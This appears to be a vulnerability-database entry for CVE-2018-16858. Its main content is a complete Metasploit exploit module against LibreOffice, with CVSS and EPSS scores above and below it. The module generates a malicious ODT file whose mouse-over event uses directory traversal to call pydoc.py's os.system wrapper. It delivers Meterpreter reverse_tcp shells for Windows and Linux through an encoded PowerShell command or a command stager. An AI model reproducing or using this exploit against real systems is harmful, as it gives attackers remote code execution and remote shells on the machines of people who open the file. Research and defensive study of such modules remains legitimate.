9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.964 High
EPSS
Percentile
99.6%
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreOffice Macro Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them. A macro can be tied
to a program event by including the script that contains the macro and
the function name to be executed. Additionally, a directory traversal
vulnerability exists in the component that references the Python script
to be executed. This allows a program event to execute functions from Python
scripts relative to the path of the samples macros folder. The pydoc.py script
included with LibreOffice contains the tempfilepager function that passes
arguments to os.system, allowing RCE.
This module generates an ODT file with a mouse over event that
when triggered, will execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alex InfΓΌhr', # Vulnerability discovery and PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-16858' ],
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' => 'windows/meterpreter/reverse_tcp',
'DefaultOptions' => { 'PrependMigrate' => true }
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
'DefaultOptions' => { 'PrependFork' => true },
'CmdStagerFlavor' => 'printf',
}
]
],
'DisclosureDate' => "Oct 18, 2018",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
])
end
def gen_windows_cmd
opts =
{
:remove_comspec => true,
:method => 'reflection',
:encode_final_payload => true
}
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
@cmd << ' && echo'
end
def gen_linux_cmd
@cmd = generate_cmdstager.first
@cmd << ' && echo'
end
def gen_file(path)
text_content = Rex::Text.rand_text_alpha(10..15)
# file from Alex InfΓΌhr's PoC post referenced above
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'Cannot find template file')
end
def exploit
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
if datastore['TARGET'] == 0
gen_windows_cmd
elsif datastore['TARGET'] == 1
gen_linux_cmd
else
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
end
fodt_file = gen_file(path)
file_create(fodt_file)
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.964 High
EPSS
Percentile
99.6%